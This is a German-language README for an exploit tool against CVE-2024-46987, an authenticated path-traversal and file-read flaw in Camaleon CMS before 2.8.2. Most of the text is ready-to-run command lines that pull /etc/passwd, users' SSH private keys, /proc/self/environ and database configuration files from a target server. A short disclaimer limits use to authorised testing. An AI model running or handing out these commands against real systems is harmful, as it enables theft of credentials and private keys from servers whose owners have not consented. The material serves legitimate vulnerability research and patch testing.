CVE-2024-46987 - Camaleon CMS Lokale Dateieinbindung

Exploit für authentifizierte lokale Dateieinbindung (LFI) für Camaleon CMS.

Sicherheitslücke

Camaleon CMS ist anfällig für einen authentifizierten LFI-Angriff über den Endpunkt /admin/media/download_private_file. Der Parameter file wird nicht ordnungsgemäß bereinigt, was einen Pfad-Traversal ermöglicht, um beliebige Dateien vom Server zu lesen.

Betroffene Versionen

• Camaleon CMS < 2.8.2

Voraussetzungen

pip install requests

Verwendung

# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"

# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt

Parameter

Beispiele

# Read passwd file
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"

# Read SSH keys
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa

# Read environment variables
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"

# Read application config
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"

Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Verwenden Sie es nur gegen Systeme, für die Sie ausdrückliche Berechtigung zum Testen haben.

Referenzen

• CVE-2024-46987
• Camaleon CMS